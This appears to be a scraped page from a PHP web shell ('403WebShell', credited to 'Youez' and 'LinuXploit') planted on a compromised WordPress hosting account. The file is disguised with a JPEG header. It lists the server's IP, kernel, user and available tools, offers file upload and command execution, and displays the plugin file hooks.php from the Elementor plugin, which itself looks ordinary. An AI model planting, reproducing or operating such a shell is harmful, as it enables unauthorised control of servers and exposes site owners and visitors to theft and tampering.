????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.58
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/./././peekmysite.com/wp-content/plugins/elementor/modules/variables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/./././peekmysite.com/wp-content/plugins/elementor/modules/variables/hooks.php
<?php

namespace Elementor\Modules\Variables;

use Elementor\Plugin;
use Elementor\Core\Files\CSS\Post as Post_CSS;
use Elementor\Modules\Variables\Classes\CSS_Renderer as Variables_CSS_Renderer;
use Elementor\Modules\Variables\Classes\Fonts;
use Elementor\Modules\Variables\Classes\Rest_Api as Variables_API;
use Elementor\Modules\Variables\Classes\Variables;
use Elementor\Modules\Variables\Storage\Repository as Variables_Repository;
use Elementor\Modules\Variables\Classes\Style_Schema;
use Elementor\Modules\Variables\Classes\Style_Transformers;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Hooks {
	const PACKAGES = [
		'editor-variables',
	];

	public function register() {
		$this->register_styles_transformers()
			->register_packages()
			->filter_for_style_schema()
			->register_css_renderer()
			->register_fonts()
			->register_api_endpoints();

		// TODO: Remove this, later, temporary solution
		$this->filter_for_stored_variables();

		return $this;
	}

	private function filter_for_stored_variables() {
		add_filter( Variables::FILTER, function ( $variables ) {
			$db_record = ( new Variables_Repository(
				Plugin::$instance->kits_manager->get_active_kit()
			) )->load();

			foreach ( $db_record['data'] as $id => $variable ) {
				$variables[ $id ] = $variable;
			}

			return $variables;
		} );

		return $this;
	}

	private function register_packages() {
		add_filter( 'elementor/editor/v2/packages', function ( $packages ) {
			return array_merge( $packages, self::PACKAGES );
		} );

		return $this;
	}

	private function register_styles_transformers() {
		add_action( 'elementor/atomic-widgets/styles/transformers/register', function ( $registry ) {
			( new Style_Transformers() )->append_to( $registry );
		} );

		return $this;
	}

	private function filter_for_style_schema() {
		add_filter( 'elementor/atomic-widgets/styles/schema', function ( array $schema ) {
			return ( new Style_Schema() )->augment( $schema );
		} );

		return $this;
	}

	private function register_css_renderer() {
		add_action( 'elementor/css-file/post/parse', function ( Post_CSS $post_css ) {
			if ( ! Plugin::$instance->kits_manager->is_kit( $post_css->get_post_id() ) ) {
				return;
			}

			$post_css->get_stylesheet()->add_raw_css(
				( new Variables_CSS_Renderer( new Variables() ) )->raw_css()
			);
		} );

		return $this;
	}

	private function register_fonts() {
		add_action( 'elementor/css-file/post/parse', function ( $post_css ) {
			( new Fonts() )->append_to( $post_css );
		} );

		return $this;
	}

	private function rest_api() {
		return new Variables_API(
			new Variables_Repository(
				Plugin::$instance->kits_manager->get_active_kit()
			)
		);
	}

	private function register_api_endpoints() {
		add_action( 'rest_api_init', function () {
			$this->rest_api()->register_routes();
		} );

		// TODO: Remove this, when there are API-endpoints available to access the list of variables
		add_action( 'elementor/editor/before_enqueue_scripts', function () {
			// We must enqueue a random script, so that localize will be triggered as well...
			wp_enqueue_script(
				'e-variables',
				ELEMENTOR_ASSETS_URL . '/variables-' . md5( microtime() ) . '.js',
				[],
				ELEMENTOR_VERSION,
				true
			);

			wp_localize_script(
				'e-variables',
				'ElementorV4Variables',
				( new Variables() )->get_all()
			);
		} );

		return $this;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit